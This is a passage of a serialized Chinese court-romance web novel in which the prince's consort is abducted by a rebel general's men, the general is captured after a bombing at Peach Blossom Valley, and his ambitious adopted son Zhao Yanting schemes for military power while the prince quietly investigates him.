铃铛说罢担忧的看向姜黎婳,轻声道:“王妃您别整日什么都不吃,再这样下去的话,身体会吃不消的。”
姜黎婳抬眸瞧着为了让自己出会点东西想方设法做花样的两个婢女,她放下筷子捏住两人的手,吸了吸泛酸的鼻子,她轻声道:“谢谢你们。”
两个丫头听到姜黎婳这话,眼泪一下子就出来了,铃铛更是直接跪在姜黎婳面前把头埋在她腿上,哭着道:“小姐,奴婢求您了,您不要整日郁郁寡欢的,若是嬷嬷看到您整日这样折腾自己,她定然是死不瞑目的。”
知夏也在一边拭泪,“铃铛说得对,如今嬷嬷已经不在了,您应该更加珍惜自己的身子才是。”
姜黎婳叹气,她已经自责很多时日了,之前在靖王府躲着的时候,她的确是因为心情不好,吃不下东西。
但是自从回来后,她这几日吃不下喝不下,完全是因为听了萧景宴的话,整日梦魇的影响。
“我前些日子只是胃口不佳,今日你们做了这么多开胃菜,我定然是要多吃点的。”姜黎婳笑着把两人拉起来,“你们准备这么多,我一个人也吃不完,你们陪我一起吃些,明日一早我们去看看嬷嬷。”
说到这里,她面上的笑容消失不见,语气也沉着了几分,“如今罪魁祸首已经伏法,也该告诉嬷嬷他们了。”
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第230章 被狠狠PUA的将军
翌日。
城外三十里的一处小山中。
姜黎婳站在山下林中抬头看着几十座新坟,那些坟堆上面都还插着白色的纸幡,这些坟墓的存在提醒着姜黎婳,那夜御王府发生的惨剧。
一旁提把祭祀用品放在佩玉嬷嬷和张嬷嬷坟前的知夏回头吩咐侍卫把其他祭祀用品摆在其他坟墓面前,这才上前扶着姜黎婳低声道:“王妃,那些都过去了,咱们是来告慰佩玉嬷嬷和张嬷嬷的他们,您别难过了。”
姜黎婳颔首,她侧眸看向铃铛,铃铛赶紧过去倒了祭祀的酒递给姜黎婳。
姜黎婳接过酒杯,抬头看向几十座坟堆,扬声道:“各位御王府的英灵,当初杀害你们的真凶如今已经伏法,各位在天有灵也可以安息了,各位放心,你们因御王府而亡,御王府不会亏待了你们活着的亲人。”
说罢,她把杯中的酒倒在地上,这时候铃铛递过来一炷香,姜黎婳接过来朝着坟群鞠了三躬,然后蹲下身子亲自把香插入泥土中。
等完成这一切后,姜黎婳走到佩玉嬷嬷坟前,亲自给坟前的两个杯子中倒了酒,然后接过知夏递来的纸钱点燃,烧纸,最后点燃了香插在佩玉嬷嬷坟前...
铃铛知夏见状去给张嬷嬷烧纸烧香敬酒,把时间留给姜黎婳和佩玉嬷嬷。
半个时辰后。
姜黎婳与众人徒步下山,山脚下的马车和车夫却不知去向了。
侍卫见状立刻上前护着姜黎婳,沉声道:“王妃,您在此等候,属下这就派人去找。”
姜黎婳听到四周乌鸦的叫声,眉头微微皱了起来,见侍卫要走,姜黎婳沉声道:“一起走,这边离着淮县不远,我们先进淮县县城。”
姜黎婳此行带了十几个侍卫,若是抽出几个去找车夫和马车,剩下的几个不一定护得住姜黎婳,侍卫长听姜黎婳这么说,立刻应了下来,“是。”
众人往淮县的方向还没走几步,一阵窸窸窣窣的声音就从官道两边传来,侍卫长见状立刻喊出护驾,十几个侍卫把姜黎婳三人护在了中间。
几十个黑衣人团团把姜黎婳他们围住。
侍卫长见状拔出长刀指着黑衣人,厉声道:“什么人?御王妃你们也敢劫持!”
为首的黑衣人听到侍卫长这话,直接笑出了声音,“就因为是御王妃,老子才要劫持啊!”
被侍卫长护在后面的姜黎婳闻言,眉头一皱,脸色也变了,她目光沉沉地看向那些黑衣人,沉声道,“你们是段贺年的人。”
听到段贺年三个字,侍卫长身子立刻绷直了,他虽然是刚被提拔上来的侍卫长,但是也听说过段贺年的大名,这可是镇南大将军啊!
而且他最近也听王爷身边最信任的两个亲卫青砚和昭临两位大人提起过,这段贺年好像就是有不臣之心的啊!
这些人劫持王妃不会是为了威胁王爷吧?
而黑衣人听到姜黎婳这话,立刻就笑了,他目光炙**看着姜黎婳,“不愧是能把御王迷得团团转的王妃,果然聪明。”
姜黎婳却笑不出来了。
段贺年既然能派这么多人来劫持她,那就说明他在京城有更多的人!
难道段贺年早就知道了楚蕙兰的事情,也知道了楚蕙兰会背叛他,所以早做了打算?
“段贺年所做之事可是谋逆!你们确定要助纣为虐吗?”姜黎婳紧紧地捏着自己的双手,努力让自己镇定,她看着为首的黑衣人,沉声道,“谋逆可是诛九族的大罪!”
“哈哈哈...”为首的黑衣**声笑了出来,他举起长刀指着姜黎婳,嗤笑,“御王妃与其担心老子的九族,不如好好担心一下你自己吧!”
他说罢眼睛一眯,厉声道:“杀!”
桃花谷。
楚御礼与青砚等人带着朝廷的兵马到了桃花谷就让兵马隐藏在楚蕙兰那宅子周围,自己则带着青砚几人进了宽大的宅子。
宅子中种了不少桃树,原本因为季节应该光秃秃的桃树被人缠满了粉色的桃花,让整个宅子充满了春色。
楚御礼站在桃树林中央,看着被布置得宛若仙境的宅院,他冷笑了一声,“段将军真是一个惯会享乐之人,如此奢靡,难怪南岳这些年百姓过得苦不堪言。”
“不愧是没有吃过苦的王爷,这种时候还能说着这么悲悯他人的话来。”沉着的声音从挂满了白色幔帐的楼台中传来,“只是御王殿下与其担心南岳的百姓,还不如好好担心一下自己是不是能活着走出这桃花谷吧。”
楚御礼抬
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头,一个身穿银色盔甲的男人此时掀开幔帐站在楼台旁边,居高临下地看向他。
男人身材高大魁梧,因为常年在练兵的原因,皮肤黑亮,他高高地站在楼台旁边,反而给自己增添了几分气势。
他沉着脸,一双深邃的眼睛就如同毒蛇一样盯着楚御礼,“狂妄小儿,你以为你带着那些兵马进了这桃花谷,本将军就怕了?”
“段将军果然是勇猛的将士,明知此行危险,却依旧奋不顾身。”楚御礼抬眸看着段贺年,脸色微沉,“看来段将军是早就到了京城了,那你也一定知道了楚蕙兰已经**。”
原本冷静的段贺年听到楚御礼这话,整个人往前走了一步,他双手撑着围栏俯身看着楚御礼,声音凌厉,“你说什么?”
不是说凌迟吗?
况且宫中一直没有传来楚蕙兰已经**的消息啊!
楚御礼抬头看着乱了方寸的段贺年,“如此看来段将军也刚入京,还不知道楚蕙兰已经被处**。”
段贺年手中的围栏被他捏成木屑,他目赤欲裂的看着楚御礼,“你们凭什么杀了她!”
他飞身从楼台上飞下来,朝着楚御礼攻击过来,青砚等人见状立刻把楚御礼围在中间,朝着段贺年攻击而去。
段贺年和沉鹤等人厮打在一起。
沉鹤等人武功高强,加上四个对一个,段贺年很快就落了下风,段贺年身上挂彩。
楚御礼站在一旁冷冷的看着被沉鹤四人击退的段贺年,沉声道:“她意图谋逆,其罪当诛,为何不能杀?”
“你们知道什么!”段贺年抬头怒瞪着楚御礼,“皇帝当初推行科举,惹怒世家,她作为公主自然要安抚,至于招兵买马不过是权宜之计,你们懂个屁!”
“这话你说出来自己信吗?”楚御礼蹙眉看着段贺年,“段将军如此有勇有谋之人,竟然也会听信那个女人的胡言乱语吗?”
“可是她当时说她登基之后,便休了洛天与,与我长相厮守的!”段贺年眯眼看着楚御礼,脸色阴沉,“她身为公主,婚事身不由己,那本将军就助她成为女皇!让她选择和他喜爱之人在一起!”
“只要她当上楚国的女帝,那就可以堂堂正正的和本将军在一起了!”
第231章 被狠狠扎刀的将军
楚御礼听着段贺年前言不搭后语的话笑了。
段贺年看到楚御礼竟然敢当着自己的面笑出声,他眯起双眼,阴沉地盯着楚御礼,冷声问,“你笑什么?”
“我只是在笑段将军说话都没有逻辑。”楚御礼抬起衣袖慢条斯理地整理了一下,接着抬眸冷冷的看着段贺年,沉声道:“段将军一会儿说楚蕙兰接近世家是权宜之计,一会儿说楚蕙兰想当女帝,你说的哪句话才是真的?”
段贺年轻哼了一声,抬手擦了擦嘴角的血迹,接着不屑地看向楚御礼,“都是真的,只要她说的话我都会当真,只要她想得到的,本将军都会帮她得到!”
“呵呵。”楚御礼啪啪鼓掌,“若段将军所做之事不是谋朝篡位这种大逆不道的事情,就凭你这颗恋爱脑,本王一定拜您为师。”
段贺年脸色骤然一沉,“楚御礼!你在嘲讽本将军!”
“不,本王所说的每一个词都是肺腑之言。”楚御礼摇头一叹,“本王若是像将军对待楚蕙兰那般对待本王的娘子,本王的娘子一定离不开本王了。”
段贺年:“......”
昭临:“......”
青砚:“......”
沉鹤:“......”
冽风:“......”
请问为什么好好的对峙场面,会变成了这个画风!
好想把这个恋爱脑王爷揍一顿啊。
“哈哈哈哈!”段贺年一阵无语之后狂笑出声,他那双深邃的眼眸中折射出诡谲的光芒,“真没想到皇帝那样冷血无情的人竟然会生出你这么个情种!”
楚御礼眼神一凌,不再和段贺年废话,他看了沉鹤等人一眼,沉声道:“拿下!”
沉鹤等人立刻一拥而上朝着段贺年攻击过去。
段贺年刚刚本就受了伤,现在以一敌四根本不是他们的对手,不过几招就被沉鹤打了一掌,他口吐鲜血人往后退了好几步,就在沉鹤他们要再次攻击上来的时候,段贺年厉声道:“御王,本将军若是死了,你的好王妃可就活不成了!”
“住手!”楚御礼立刻喝道。
沉鹤等人硬生生收回攻出去的招式回头看向楚御礼。
冽风沉着脸道:“主子,王妃好好地在王府,府中侍卫无数,还都是我们亲自挑选的精英,他的人不可能抓到王妃的!”
青砚也颔首,“咱们只要抓住这个段贺年,即便他的人抓到了王妃,也不敢轻举妄动。”
楚御礼的手微微一捏,他不敢拿婳儿的事情开玩笑。
但是青砚说得对,若婳儿真的被抓,有段贺年这个人质在手上,他也可以与之谈判!
他目光沉沉的看着脸色得意的段贺年,沉声道:“拿下。”
沉鹤等人听到楚御礼这话,皆是舒了口气,朝着段贺年攻击过去。
就在他们拿下段贺年的瞬间,爆炸声骤然响起,瞬间地动山摇,冽风第一个朝着楚御礼扑过去,把楚御礼护在身下,厉声道:“保护王爷!”
宅子周围也响起无数的惨叫声。
兵荒马乱中,天空响起一声信号弹的声音,楚御礼抬头,目赤欲裂,“婳儿!”
沉鹤三人在地动山摇中稳稳地把段贺年捆住,楚御礼也被冽风扶着站了起来,冽风沉声道,“这宅子中说不定也被卖了炸药,快带王爷出去!”
四个人青砚和冽风扶着楚御礼,另外两人提着被绑的死死的段贺年,朝着宅子外面飞去。
宅子外面原本绿水青山的模样早已经变了眼,此时四周黄土四溅,死伤无数...
惨不忍睹。
被绑成粽子的段贺年看着那些躺在地上哀嚎的士兵,哈哈笑出声,“本将军说过,让你们有来无回!现在你们知道本将军的厉害了吧!哈哈哈哈...”
沉鹤拿起匕首直接插在他肩膀上,段贺年直接痛嚎出声,“你敢...”
拔出来又是一刀插在他另一边肩膀上!
“小杂碎,本将军可是...”
拔出来又是一刀插在大腿上。
段贺年瞪大双眼,愤怒地看向楚御礼,“御王!你还想要不要你的王妃...”
拔出来又是一刀插在另一条大腿上。
段贺年痛的手不出话了,他哀嚎地求饶,“别扎了!”
沉鹤冷冷地看着他,嗤笑,“怎么不笑了?段将军是生性不爱笑吗?”
段贺年眼睛瞪得更大了,看沉鹤的目光更像是看鬼一样,他嘶声吼道:“你他娘的是有病吗?”
就因为他笑了几声,就直接上刀?
沉鹤面无表情地又把刀拔出来,然后举起来,段贺年连忙吼道:“你再动手,你们的王妃可就活不成了!”
沉鹤嘁了一声,王妃有没有事又威胁不了他,最多能威胁...
他默默地抬头看向自家恋爱脑的王爷,“王爷?”
刚刚那信号弹的确是他们王府中侍卫才有的信号弹,而且他们说了,只有王妃出事才能放出那个信号弹...
他家王爷是什么样的恋爱脑,他们是知道的,王妃出事虽然对他们造不成什么影响,但是对王爷的影响可大了,所以王妃还是不能出事的。
楚御礼冷冷地看着被沉鹤和昭临架着的段贺年,“在哪儿能见到你的人和婳儿?”
段贺年现在痛劲儿过去了,觉得自己又行了。
他龇着牙笑出声,“怎么?现在知道怕了?有本事你把本将军杀了啊!本将军就看你有什么...”
“啊!”他猛地看向插在自己屁股上的匕首,厉声骂道:“你他娘的不讲武德啊!”
昭临强忍着笑,朝着沉鹤竖起大拇指,“够阴的。”
沉鹤继续装高冷,面无表情地把匕首拔出来,举起来,又要往段贺年的另一边屁股扎过去,“杀了你,那是不可能的,但是多给你刺几刀我很乐意,你这屁股我瞧着至少一边可以扎十下,我就看看是你的嘴硬还是屁股硬。”
说罢狠狠地落下去,就在匕首要挨着段贺年屁股的那一瞬间,段贺年厉声吼道:“红山山顶!我的人在红山山顶等着的!”
沉鹤挑眉,“哦,看来还是屁股硬。”
说罢狠狠地扎下去。
段贺年尖叫出声,他满脸羞愤地看向楚御礼,厉声吼道:“老子都交代了!为什么还要扎?”
他堂堂镇南大将军,虽然有不臣之心,但也算是楚国抵御外敌的功臣,这些小辈竟然敢这样对他!
简直岂有此理!
“谁叫你回答满了。”沉鹤继续装高冷,“我手没有收住。”
青砚看得实在眼馋,他默默上前,上前站在沉鹤旁边,低声道:“我来帮你拔出来?”
沉鹤挑眉看向他,然后松开匕首,青砚眼睛一亮,握着匕首拔出来,又是一刀插回去。
瞬间山谷中响起段贺年的惨叫和咒骂声,“楚御礼,你还想不想要你的王妃活命了!”
第232章 旧相识是疯批
红山山顶。
姜黎婳双手被绑着由一个蒙面的黑衣人架着看向不远处天崩地裂的场景,她瞪大双眼看侧首看着站在自己身边的黑衣人,厉声道:“你们这些恶徒!”
黑衣人冷笑,“做恶事的可不是我们,我们只负责抓你,让你亲眼看着楚御礼死。”
“不可能!”姜黎婳冷笑,“他不可能被你们就这么炸死了。”
黑衣人挑眉一笑,他取下脸上的黑布,看着姜黎婳,“他死了,这是我义父对他的报复,要和他同归于尽。”
姜黎婳看到黑衣人扯下脸上黑布的那一瞬间,眼睛骤然一缩,“是你。”
黑衣人英俊的脸庞上闪过一丝波动,他看着姜黎婳的双眸带着笑,“你还记得我。”
“真是没想到堂堂赵家大公子竟然与叛贼有勾结。”姜黎婳眼神冰冷,语气也多了一丝不屑,“真不知道赵伯伯和旭庭哥他们知道了,心情会怎么样?”
“赵家大公子?如今谁都知道赵家只有赵旭庭这么一个儿子,谁还知道赵家还有一个大公子!”
“赵彦庭,我曾经救过你。”姜黎婳垂眸看着自己被绑着的双手,语气冰冷,“你就是这么恩将仇报的?”
“你知道我接到的命令是什么吗?把御王妃杀了带到山顶,段贺年要让御王看到你死后的模样,他要御王经历和他一样的痛苦!但是因为你救过我,所以我违背了我义父的命令,把你活着带到了山顶。”赵彦庭英俊的脸上闪过一抹痴狂的神色,“我这不是在报答你的救命之恩吗?”
“那你就放了我!”姜黎婳面色一沉,“你应该也不想赵伯伯看到你成为叛军的样子吧?”
“他根本不关心我!”提起赵忠,赵彦庭的眼眸就变得通红,他面色狰狞地看着姜黎婳,嘶吼道:“我离家这么些年,他从未找过,当初是他说的,当没有我这个儿子!”
他激动地去捏着姜黎婳的脖子,咬着牙齿嘶声道:“你忘记了那次他打我差点把我打死了,还是你救了我,那次若不是你,我也不会活着离开江南,以后我会好好报答你的。”
因为他忽然对姜黎婳的肌肤接触,姜黎婳身上忽然一阵麻木,身上也开始起鸡皮疙瘩,一股恶心的感觉从胸腔散开,她努力忍了一下,但是....
噗...
胃里的酸水就那么喷在了赵彦庭的脸上。
赵彦庭英俊的脸一下就黑了,他松开姜黎婳的脖子,阴沉地看着姜黎婳,眼神就像是要把姜黎婳杀了一样,姜黎婳被他松开整个人就无力的跌倒坐在了地上。
赵彦庭恶心的赶紧抬手擦干自己的脸,扭曲地看着姜黎婳:“你觉得我恶心?”
姜黎婳摇头,“你忘了,我无法与人正常接触,你这是自找的。”
赵彦庭深深地吸了口气,他差点忘了,当初在江南的时候,赵旭庭与姜黎婳兄妹走得很近,都不敢触碰姜黎婳,因为姜黎婳抗拒与人接触。
这样想着赵彦庭心头平衡了一些,他淡淡道:“你有这种病还能当王妃,果然与众不同。”
姜黎婳抬眸看着赵彦庭,“赵彦庭,你当年为什么会与赵伯伯断绝关系啊?”
赵彦庭本就不好看的脸色更差了,他阴沉地看着姜黎婳,沉声道:“我如今不叫赵彦庭,我叫段玉!”
姜黎婳眼角一抽,“我求你别坏了段誉在我心中的形象!”
就你也配?
赵彦庭眉头一皱,“你认识段玉?”
姜黎婳撇嘴,她当然认识!她小时候可没少看天龙八部呢!
就在这时候就脚步声传来,先前为首的黑衣人看到赵彦庭和姜黎婳待在一起,他眉头微蹙,沉声道:“少将军,您怎么自己带着这人上来了?”
赵彦庭看了姜黎婳一眼,沉声道:“那些人解决了?”
“那些人护着那两个丫鬟离开了,应该追不上来。”黑衣人冰冷的看了姜黎婳一眼,沉声道:“将军应该快要上来了,咱们...”
他瞪眼看着自己胸口的箭矢,一口鲜血喷了出来,他回头看了一眼站在自己身后的属下,不解地问,“为什么?”
赵彦庭一笑,不过这笑意不达眼底,他淡淡的看了一眼倒在血泊中的黑衣人,抬步走过去掏出黑衣人怀中的木牌,看着手中的木牌,他冷哼了一声,“你说为什么?我在他面前做小伏低这么多年,他就是养条狗都会给一点肉骨头的,但是这些年他收我为义子,却只让我做那些肮脏事,最后就连要死了,还要把兵权给你,凭什么?”
赵彦庭把虎符揣进怀里,“你们算计了所有人,想不到最后这兵权会落在本将军手里吧?”
姜黎婳瞧着赵彦庭的一举一动,她的心逐渐沉了下去,这赵彦庭如今竟然成了杀人不眨眼的魔鬼!
早知道当初就不救他了!
赵彦庭让人把那个黑衣人的尸体收拾了,自己则上前端在姜黎婳面前,笑看着她,“怕了?”
“你想造反?”姜黎婳抬眸看着赵彦庭,脸色有些惨白,“你知不知道造反造成的后果?南岳虽然有不少兵马,但是与朝廷的大军比起来,不过是九牛一毛。”
“这个我自然知道,就南岳那些兵马,怎么可能和朝廷斗,所以我决定归降朝廷。”赵彦庭的嘴角露出一抹诡谲的微笑,“赵忠觉得我这种人不可能出人头地,那我就让他瞧瞧,我是如何当上这皇帝亲封的大将军的。”
他说罢脸上的笑容一敛,然后看向自己的属下,沉声道:“把她衣服换了。”
一个时辰后。
楚御礼等人带着段贺年上山,在山顶看到十几具尸体还有几个身负重伤的将士。
楚御礼蹙眉,正要说话,其中一个人举着虎符上前,“末将赵彦庭,已经取得段贺年南岳军虎符,并将段贺年麾下亲信全部诛灭!”
段贺年瞪眼看着赵彦庭,不可置信地吼道:“段玉!你敢背叛我?”
赵旭庭抬眸看着段贺年,嘴角微微一勾,“段将军我不叫段玉,我叫赵彦庭,是赵忠的儿子,你觉得赵忠的儿子,可能会叛国吗?”
“你是赵忠安插在老子身边的奸细?”段贺年怒吼道:“天杀的!赵忠!老子与你势不两立!”
“王妃呢?”楚御礼面无表情的看着赵彦庭。
赵彦庭缓缓回头看了一眼悬崖,“末将追上来的时候,看到段贺年的亲信带着王妃跳崖了。”
楚御礼双目骤红,他疾步往悬崖边跑去,只看到悬崖边有一块绸缎挂在树桠上。
赵彦庭扑通跪在地上,“够怪末将来迟一步,否则就...”
楚御礼伸手抓起悬崖边的布块站起来,他冷冷的回头看了赵彦庭一眼,冷声道:“全都押回京城。”
赵彦庭蹙眉抬眸看着楚御礼,“王爷?”
楚御礼根本不理他,“找!”
第233章 算盘成空
山脚下。
楚御礼垂眸看着躺在草丛中央的男人,眼底情绪晦暗不明。
沉鹤上前检查了男人身上的伤,蹙眉道:“这个人应该不是跳崖坠亡,而是被人杀了扔下悬崖的。”
楚御礼没有说话。
这时候带着人在周围搜寻的昭临回来,“主子,周围没有走动过的痕迹。”
楚御礼闻言眼底闪过一丝厉色,“以红山为中心想四周搜寻。”又看向沉鹤,“盯紧那个自称是赵彦庭的男人。”
沉鹤应了声是。
看着楚御礼大步离开的背影,昭临低声问身边的沉鹤,“你说王爷这是着急还是不着急啊?”
沉鹤如同看白痴一样的看了昭临一眼,“你觉得呢?”
......
楚御礼刚离开红山山脚就见奉命去埋伏段贺年的常胜等人还有赵忠都站在官道上等着自己,他抬步朝他们走过去,赵忠、常胜等人看他走过来,皆是抱拳单膝跪在地上,赵忠道:“末将等人有辱使命,还请王爷责罚。”
常胜等人也是满脸羞愧,原本以为他们早早埋伏在南岳到京城的必经之路上肯定会杀段贺年一个措手不及,让段贺年有来无回,谁知道这段贺年竟然早就已经到了京城,而且还在桃花谷中埋下了炸药,让御王这次带去捉拿他的人死伤严重。
楚御礼听了赵忠的话,脸上没有什么情绪波动,他笑了笑,“段贺年此人诡计多端,这件事情也怪不得诸位。”
赵忠和常胜等人脸色均是一怔,这御王竟然这么好说话?
楚御礼上前扶着赵忠站起来,笑着道:“不过这件事情虽然有波折最终结果却是好的,说起来我们能顺利拿到南岳军的虎符还多亏了赵总督的儿子忍辱负重多年呢。”
赵忠一顿,不解地抬头看向楚御礼,“王爷这话是什么意思?旭庭他做了什么?”
赵旭庭深邃的眼眸直直地盯着赵忠,“赵总督只有赵旭庭这么一个儿子吗?”
像是提起了不好的事情,赵忠脸色一沉,“王爷难道说的是赵彦庭?”他眼底闪过一丝不可置信,“他拿来了段贺年的虎符?”
“他这些年以段贺年义子段玉的身份潜伏在段贺年身边难道不是赵总督安排的?”楚御礼眉梢微挑,“本王还以为赵总督未卜先知早早就知道了段贺年的不臣之心,所以派了自己的亲儿子去段贺年身边潜伏,以取得段贺年的信任,然后给段贺年沉重一击呢。”
他说罢又看向常胜等人,让他们起来。
站在一旁的赵忠脸色阴沉,好半晌后,他抬头看向楚御礼,沉声道:“不瞒王爷说,我那个儿子在五年前就已经被我逐出家门了,这五年他的去年,我是一点不知,更不知道他以段玉的身份给段贺年当了义子!”
赵忠说到这里像是下了很大的决心一样,对着楚御礼跪下去,沉声道:“王爷,末将有话要单独和您说。”
沉鹤闻言眼睛一眯,正要上前就被楚御礼抬手阻止了,他让所有人退下。
一时之间所有人全都退出去十几米远,只剩下楚御礼和赵忠两人还在原地。
楚御礼垂眸看了一眼还跪在地上的赵忠,沉声道:“赵总督有什么话起来说。”
赵忠抬头看着楚御礼,见楚御礼脸色不好,他起身道:“不敢欺瞒王爷,赵彦庭此子虽然是臣的亲生儿子,但此子心思不正,王爷还是要对他多有几分防备才好。”
“但是他拿着南岳虎符向朝廷示好。”楚御礼眯眼看着赵忠,“他能拿出段贺年的虎符向朝廷表达忠心,可是朝廷的大功臣。”
赵忠眉头一皱,正要说话,楚御礼又道:“王妃段贺年手下的人劫持了,据赵彦庭所说是段贺年的亲信带着王妃跳崖了,但悬崖下只有段贺年亲信的尸体,王妃失踪了。”
“啊?”赵忠心头一跳,王妃又失踪了?
这次这失踪该不会...
遭了!
若这次王妃的失踪真的和那个孽子有关的话,那怕是会凶多吉少啊!
翌日一早。
议政殿外,赵忠看着几年不见的儿子,他眼底没有一丝温情,看着给自己行礼问好的儿子,赵忠抿了抿嘴,“长大了,也总算是做了件人事了。”
赵彦庭笑了笑,他自顾自地站直身子,抬眸和赵忠对视,“父亲此时是不是觉得我这个被你抛弃的儿子,比你那个心肝一样的小儿子更出息一些。”
赵忠冷哼,“旭庭秋闱也入了会试。”
他说罢转身走进议政殿,没看见他说起赵旭庭的那瞬间赵彦庭眼底闪过的阴鸷。
不远拐角处楚御礼盯着两父子的互动,神色晦暗不明,不过片刻他又恢复了常色,抬步朝着议政殿大步走去。
他刚走到大殿外就听到皇帝夸赵忠虎父无犬子,说赵忠养了个好儿子,为朝廷解决了心头大患。
看到楚御礼走到大殿门外,皇帝笑着招呼楚御礼进去,“御儿,朕打算封着赵小将军当忠勇将军,你意下如何?”
“父皇是打算让赵小将军掌一方兵马?”楚御礼眸光扫过赵彦庭,最终落在皇帝脸上。
皇帝面上的笑容一僵,接着道:“这南岳兵马之中还不知道有多少人是段贺年的心腹,此次赵小将军拿到虎符立了大功,但是怕是得罪了段贺年的心腹,再回南岳只怕是遭到报复。”
“臣愿为朝廷肝脑涂地!”赵彦庭立刻大声道:“若陛下相信末将,末将愿意为陛下完全是收复南岳军!让南岳军只忠于朝廷!”
“你带过几年兵就敢在陛下面前夸下海口!”赵忠狠狠地瞪了赵彦庭一眼,然后朝着皇帝跪了下去,“陛下,臣这一生都为了朝廷在战场上拼搏,但是臣就这么两个儿子,以前之所以让旭庭弃武从文也是想要他安稳度日,不在战场厮杀,可彦庭这孩子却偏偏叛逆,当初臣与他也是因为这些事情,父亲之间才生了嫌隙。”
赵彦庭侧首看着赵忠。
赵忠接着道:“如今这孩子用自己的能力证明了自己的实力,但是臣不愿儿子再去冒险,还求皇上给这孩子安排一个京中的差事,让这孩子不要踏上臣的老路。”
眼底神色不明的皇帝听到赵忠这话,面上漾开笑意,他点头道:“爱卿的苦心朕感同身受啊,既然如此,那赵小将军就在兵马司任副指挥使一职,有赵小将军这种为国为民的将领在兵马司中保卫京城安危,朕也放心。”
若这赵忠真要让他自己的儿子掌管一方兵权,他还真得好好的查一下这赵忠的心思了。
父子两人都手握重兵,难道想拥兵自重?
楚御礼没有理会皇帝的心思,只是静静地看着面色难看的赵彦庭,眼神也逐渐变得晦暗。
第234章 楚御礼的深情都是装的?
从议政殿中出来,赵彦庭疾步上前拦住赵忠的去路,他一脸阴沉的盯着赵忠,压低声音喝道:“你就那么见不得我好吗?”
赵忠目光沉沉的看着如今翅膀已经长硬了的赵彦庭,眉头紧促,“你是我的儿子,虽然当年说了断绝关系,但我也不希望你丢了性命,当年的事情已经发生,我也不和你计较了,以后在京城好好和旭庭相处,不要再做让我生气的事情。”
“你还敢提?”赵彦庭往前走了一步,眼神阴恻恻的对上赵忠的目光,轻笑,“你就不怕我再对你那个宝贝儿子动手吗?你不怕我弄死他?”
“他是你弟弟!”赵忠浑身的气势都变得凌厉起来,“你若再敢对你弟弟动手,你就休怪我对你不客气!”
“那你还敢把我留在京城!”赵彦庭咬着牙齿,压着嗓音,“还有他是你正妻的嫡子,而我不过是一个庶子,敢当他哥哥?你想要我在京城那你最好把你的宝贝儿子看紧了,否则他不小心丢了性命,可别后悔!”
“逆子!”赵忠猛地抬起手,赵彦庭却根本不躲,他挑衅的看着赵忠,嘴角勾起邪肆的笑意,“你打下来试试?”
赵忠深深地吸了口气,放下抬起来的时候,他叹了口气,“当年的事情本就是你有错在先,你去跟你弟弟道个歉,我就当当年的事情过去了,以后咱们一家人好好过日子不行吗?”
赵彦庭嗤笑,“你们是一家人,我可和你们不是一家人。”
他倾身靠近赵忠,眉梢微挑,“父亲你又不是不知道我这个儿子的心思有多恶毒,还是你还想看当年的惨剧再次发生?”
“赵彦庭!”赵忠眼睛一眯,他眸光深沉的看着赵彦庭,语气冰冷,“既然你不愿意与我们好好相处,那就随你好了。”
赵忠气愤的往外走了好几步,又停下脚步回头看着赵彦庭,半晌后,他转身大步离开。
赵彦庭挑眉看着赵忠离开的背影,眼底的阴郁之色越加明显。
站在议政殿门口看了好一会儿戏的楚御礼这时候慢慢的朝赵彦庭走过来,“赵副指挥使和赵总督的父子关系不是很好?”
赵彦庭缓缓收回目光,转身楚御礼行礼的瞬间,他收敛起眼底的阴郁之色,再次抬头,脸上已经带上了浅淡的笑容,“让王爷见笑了,我虽然是父亲的长子,却不是父亲心存期许的孩子,我这些年在段贺年身边忍辱负重,也是为了让父亲对我刮目相看,不过如今看来...”
他摇头一笑,眼底尽是落寞,“父亲还是看不上我这个庶子。”
“那赵副指挥使在兵马司要好好表现了,争取让赵总督对你刮目相看。”楚御礼说罢抬步离开,不过刚走了几步,他又停下脚步,回头看向赵彦庭,“对了,这次赵副指挥使在这次对付段贺年一事中立了大功,你又初来乍到,本王会在京城最大的酒楼为赵副指挥使设宴,为赵副指挥使接风。”
赵彦庭眉头微蹙,他有些不解的看着楚御礼,沉声道:“如今王妃还生死不知,王爷还能分出心思为末将设宴接风?”
这京城不是传言楚御礼爱妻如命吗?
现在姜黎婳失踪,他不满世界地找姜黎婳的下落,竟然还要给他接风?
楚御礼笑了,如今腊月的天气已经很冷了,他也已经披上了毛领披风,他抬手整理了一下自己披风的毛领,笑着道:“女人而已,赵副指挥使应该也知道本王王妃的出身吧?她如今不知所踪,对本王来说又何尝不是幸事呢?”
楚御礼说到这里眉梢一挑,他看着赵彦庭,“再说了,这外面到处都是人在帮本王找王妃,世人也可以看出本王对王妃的深情了,不是吗?”
赵彦庭眼睛一眯,他看着楚御礼,像是要把楚御礼看穿。
楚御礼由着他打量了一会儿,接着走回来拍了拍赵彦庭的肩膀,笑着道:“本王与赵副指挥使投缘,今日就教赵兄你两招,对女人好这种事情,你即便心中不愿,也得让世人知道,这个世道啊,越是身居高位越对自己夫人好的男人,就越得人心。”
赵彦庭一顿,接着佩服的超楚御礼拱手,“王爷说的是,末将今日实在是受教了。”
楚御礼笑着摇头,“好了,今日与赵兄已经说得很多了,本王就先走了。”
看着楚御礼大步离开的背影,赵彦庭的手指搓了搓,这楚御礼是现在在演戏还是以前在演戏?
深情都是装出来的?
楚御礼在转身那一瞬间,脸上的笑容就消失不见了,他沉着脸大步往宫外走,走出宫门外,看到迎上来的墨玄,他冷声道:“让所有暗卫都给我盯紧了赵彦庭,与之有来往的人一个都不准落下。”
墨玄垂眸应是,扶着楚御礼上了马车,他低声问,“那城外的人还找吗?”
“找。”楚御礼脸色阴沉,“不要放过一丝可能性。”
凤仪宫中。
皇后看着跪在地上的御王府侍卫长,眉头紧促,“你们说掳走王妃的那些人是段贺年的亲信?你们是否亲眼看到王妃坠崖了?”
皇后说到这里手不自觉地收拢,她现在有些说不清自己的心思,她盼着姜黎婳不要再回来,但又不希望这个帮她儿子改变了命运的姑娘就这样死了...
侍卫长想到自家王爷的吩咐,他缓缓颔首,“属下等人和王爷他们登上山顶的时候,正好看到王妃被人抓着坠入悬崖,不过我们在悬崖下面只找到了挟持王妃那个刺客的尸体,并未找到王妃的尸体。”
听到姜黎婳还有生还的可能,皇后心头压着的石头总算消失了,她抬手揉了揉有些堵闷的胸口,沉声道:“加派人手,务必要快些找到王妃。”
侍卫长应了声是,然后大步离开。
佩蓉瞧着皇后头疼的模样,上前给皇后按头,一边轻声安抚,“娘娘也不必太过担忧,王妃吉人自有天相,奴婢相信王妃定然能安然归来的。”
皇后由着佩蓉给自己按头,“唉,但愿如此吧。”
